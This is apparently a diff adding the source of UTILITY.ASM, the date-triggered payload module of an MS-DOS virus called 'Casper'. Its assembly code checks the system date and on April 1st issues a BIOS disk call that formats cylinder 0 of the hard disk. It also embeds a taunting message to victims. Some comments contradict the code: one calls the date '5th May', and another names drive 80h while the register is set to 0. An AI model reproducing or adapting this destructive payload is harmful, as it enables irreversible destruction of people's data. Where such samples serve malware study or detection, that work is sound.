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MSDOS/Virus.MSDOS.Unknown.utility.asm

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+;****************************************************************************
+;*
+;* 	UTILITY.ASM - Manipulation Task Code For Casper The Virus.         *
+;*                                                                        *
+;*     USAGE: Is automatically INCLUDED in the assembly of casper.asm     *
+;*                                                                        *
+;*     DETAILS: Date Activated Hard Disk Destroyer.                       *
+;*              DATE: 1st April DAMAGE: Formats Cylinder 0 of HD.          *
+;*                                                                        *
+;**************************************************************************
+
+
+
+
+
+		mov ah,2ah	; DOS Get Date.
+		int 21h
+		cmp dx,0401h	; 5th May.
+		jne utilend
+		mov ax,0515h	;Format Cylinder, 15 Sectors.
+		mov ch,0	;Cylinder 0.
+		mov dx,00	;Head 0, Drive 80h.
+		mov es,dx	;Junk for address marks.
+		mov bx,0	;Junk....
+		int 13h		;Do It!
+		int 20h		;Exit
+utilend:	jmp entry3
+		db	"Hi! I'm Casper The Virus, And On April The 1st I'm "
+		db	"Gonna Fuck Up Your Hard Disk REAL BAD! "
+		db	"In Fact It Might Just Be Impossible To Recover! "
+		db	"How's That Grab Ya! <GRIN>"
+entry3:
+